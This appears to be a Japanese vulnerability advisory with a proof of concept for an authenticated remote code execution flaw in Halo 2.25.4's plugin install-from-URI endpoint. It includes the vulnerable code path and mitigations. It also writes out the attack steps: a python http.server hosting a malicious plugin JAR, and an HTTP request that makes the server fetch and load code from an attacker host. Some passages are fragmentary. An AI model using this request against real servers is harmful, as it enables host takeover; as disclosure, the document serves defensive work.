
Halo 2.25.4における、検証されていないプラグインURIインストールを介した認証済みリモートコード実行の脆弱性を実証します。技術的分析と概念実証エクスプロイトを含みます。
Haloバージョン2.25.4において、重大なセキュリティ脆弱性が特定されました。このアプリケーションは、リモートURIからプラグインをインストールまたはアップグレードするための管理エンドポイントを提供しています。しかし、システムはURIの送信元ドメインを検証できず、この特定のコンポーネントにはServer-Side Request Forgery(SSRF)対策が欠如しています。プラグイン管理権限を持つ認証済み攻撃者は、悪意を持って作成されたプラグインJARファイルへのリンクを提供できます。サーバーはJARファイルをダウンロードし、一時的に保存し、PF4JフレームワークとSpringのDefaultPluginApplicationContextFactoryを使用してJVMコンテキストに動的にロードします。これにより、信頼されていない拡張クラスの実行が可能となり、基盤となるホストオペレーティングシステム上で任意のリモートコード実行(RCE)が発生します。
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)CVEフォームに提出する際はカンマで区切ってください:
Plaintext
PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
認証済み管理者は、悪意のあるリモートプラグインJAR URLを含む巧妙に細工されたHTTP POSTリクエストを/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uriエンドポイントに送信できます。
リモートコード実行は以下の一連の操作を通じて発生します:
PluginEndpoint.installFromUri()メソッドは、受信したリクエストボディ(InstallFromUriRequest)を処理し、ユーザーが提供したuri文字列を抽出します。ドメインホワイトリストフィルタリングは適用されません。DefaultReactiveUrlDataBufferFetcher.fetch(uri)に渡されます。Haloの他の内部ネットワーキングコンポーネントとは異なり、このフェッチャーはHttpSecurityUtils.secureHttpClient()を呼び出さず、内部プライベートネットワーク/ループバックIP制限(SSRF保護)をスキップします。writeToTempFile(content)を介してホストサーバー上のローカル一時ディレクトリに書き込まれます。pluginService.install(path)に渡し、PF4JのJarPluginLoaderを利用してJARファイルを解凍およびロードします。DefaultPluginApplicationContextFactoryがプラグインのplugin.yaml内のメタデータを自動的に解析し、宣言されたすべての拡張クラスをアクティブなSpring Beanとしてアプリケーションコンテキストに登録します。static {})または@PostConstructで注釈されたメソッドブロック内に配置された悪意のあるコードは、Runtime.getRuntime().exec()を介してインスタンス作成中に即座に実行されます。PluginEndpoint.java 422-428行目):Java
var content = request.bodyToMono(InstallFromUriRequest.class)
.map(InstallFromUriRequest::uri)
.flatMapMany(reactiveUrlDataBufferFetcher::fetch); // 未検証のネットワークフェッチ
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
攻撃者は、@PostConstructライフサイクルフックまたは静的ブロック内にペイロード実行メカニズムを含む拡張クラスを持つ標準的なPF4J/HaloプラグインJARファイル(poc-plugin.jar)をコンパイルします。攻撃者はそれを外部リスナーでホストします:
Bash
python3 -m http.server 9999
認証済み管理ユーザーは、ターゲットのHaloサーバーに以下のHTTPリクエストを送信します:
HTTP
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json
{
"uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}
サーバーはインストールを処理し、攻撃者のサーバーからアーティファクトを取得し、拡張機能を登録し、コンパイルされたシステムコマンドを実行して、ターゲットホストを侵害します。


application.yaml)、保存されたファイルへの直接的な露出。uri引数に厳格な検証ルールを適用します。リモートインストールスキーマを検証済みの信頼できる公式エコシステムマーケットプレイス(例:https://awesome.halo.run)に制限します。DefaultReactiveUrlDataBufferFetcherをリファクタリングし、既存のHttpSecurityUtils.secureHttpClient()ユーティリティを利用して、ループバック(127.0.0.1)、リンクローカル(169.254.169.254)、またはプライベートクラスネットワーク(10.0.0.0/8、192.168.0.0/16)を指すリクエストを拒否します。JarPluginLoaderコンテキストは、コンテキストインスタンス化のためにDefaultPluginApplicationContextFactoryに渡す前に、公式リポジトリが提供する公開鍵に対してファイルハッシュまたは暗号署名を検証する必要があります。